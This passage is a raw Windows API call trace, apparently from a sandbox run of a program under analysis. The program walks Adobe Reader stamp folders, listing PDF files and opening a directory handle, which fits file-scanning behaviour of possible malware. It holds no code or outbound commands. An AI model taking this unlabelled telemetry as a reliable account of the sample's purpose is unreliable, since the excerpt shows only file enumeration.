RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215960 [0083.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8958 [0083.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.279] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215980 [0083.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8a60 [0083.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.281] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12159a0 [0083.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8b68 [0083.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.282] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe736, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12159c0 [0083.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8c70 [0083.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x74c0) returned 0x12bb0b0 [0083.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c9900) returned 1 [0083.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.284] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12159e0 [0083.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8d78 [0083.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.286] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe62, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215a00 [0083.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8e80 [0083.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.287] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe62, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.288] GetLastError () returned 0x12 [0083.288] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.288] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.288] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.288] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.288] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.288] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.288] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe736, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.288] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.288] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe62, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.288] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe62, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.288] GetLastError () returned 0x12 [0083.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.288] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.289] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0083.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.290] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.291] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.291] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.291] NtClose (Handle=0x174) returned 0x0 [0083.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.292] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.294] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.294] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215a20 [0083.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8f88 [0083.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.296] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215a40 [0083.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a9090 [0083.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.298] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215a60 [0083.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a9198 [0083.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.299] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa118, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215a80 [0083.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a92a0 [0083.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.301] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215aa0 [0083.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a93a8 [0083.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.303] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215ac0 [0083.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a94b0 [0083.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.304] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.304] GetLastError () returned 0x12 [0083.304] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.304] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.304] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 